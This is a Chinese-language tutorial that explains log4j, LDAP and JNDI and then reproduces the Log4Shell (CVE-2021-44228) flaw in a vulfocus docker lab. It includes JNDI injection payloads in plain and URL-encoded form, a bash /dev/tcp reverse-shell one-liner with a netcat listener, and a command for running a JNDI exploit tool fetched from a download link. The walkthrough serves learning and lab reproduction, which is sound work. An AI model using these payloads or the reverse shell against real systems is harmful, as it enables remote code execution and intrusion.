log4j(log for java),Apache的开源日志记录组件,使用非常广泛
轻型目录访问协议(Lightweight Directory Access Protocol,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
假如有个一个数据库,名叫职业,该数据库有许多表如学生、老师、工程师...,表的字段也有许多,如姓名、性别、年龄...
(1)不使用目录结构存储:所有人的职业信息都存在一张表中,顺序杂乱无章,想要查询信息就需要从第一条开始遍历。如果数据在最后一条,需要查询100次。
(2)使用目录结构:那么100条数据就分布在三个表中,只需要查询其中的一个表就可得到结果,查询效率就高了
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
通俗点讲,就是通过名字去寻找对应的资源、位置、服务、对象......当数据源发生变化时,只需要修改数据源就可以了。
下面用例子来解释下它的原理以及优点
例:
如果要说JNDI具体的作用是什么,我认为就相当于一个管理部门,而它的职责是对目标资源进行统一调配和管理,当访问者需要调配资源时,只需要提供资源的名字,剩下的都交给JNDI去实现即可。
比如:有这样一个场景,当向银行申请贷款时,银行需要对贷款人的信息进行评估(如贷款人的职业、月收入,信用怎么样,是不是老赖,有没有过借钱不还的案例),从而决定是否同意贷款。如果这些信息都需要银行去收集并验证真实性,就会非常的麻烦,甚至还有可能收集的情况不真实。那么,能不能有这样一个部门,只要银行向该部门提供贷款人的姓名和身份证号就可以得到贷款人的信用结果呢?而这个部门就扮演着JNDI的角色。。。
而秘书,也扮演着JNDI的角色,老板需要什么资料、找哪个员工,只要提供名字就行,剩下的秘书去解决就行了。
JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务...)查找资源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}
- ${jndi:ldap:192.168.96.1:1099/shell
}
http://192.168.96.1/#
shell其中wqiyua为恶意脚本
}
,log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/shelldocker pull vulfocus/log4j2-rce-2021-12-09 //拉取靶场镜像
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 //运行靶场镜像
搭建成功!
已经漏洞存在的情况下,构造攻击payload执行命令反弹shell
bash -i >& /dev/tcp/192.168.96.166/1234 0>&1
由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
使用下面的html脚本生成即可
java runtime exec usage...
Input type:
这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载地址:直接百度搜,或者去GitHub上面搜索即可
链接:https://pan.baidu.com/s/1Ux6akr2Ynk9pq5uyZC97tg
提取码:0000
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"
通过netcat监听1234端口:
利用漏洞地址去访问本地的JNDI服务
payload=${jndi:rmi://192.168.96.1:1099/wqiyua}
这里需要将payload进行编码
payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.96.1%3A1099%2Fwqiyua%7D
成功反弹!
日志中包含 ${}
,lookup就会去解析括号里面的内容,
如:攻击payload : ${jndi:rmi:192.168.96.1:1099/wqiyua}
当lookup解析到jndi时,就会调用jndi并利用rmi,执行攻击机jndi服务下的class文件并执行,从而造成任意命令执行漏洞
参考资料
log4j2漏洞利用vulfocus-CVE-2021-44228 - 三亿人 - 博客园
通过vulfocus靶场复现log4j2-rce漏洞 - 简书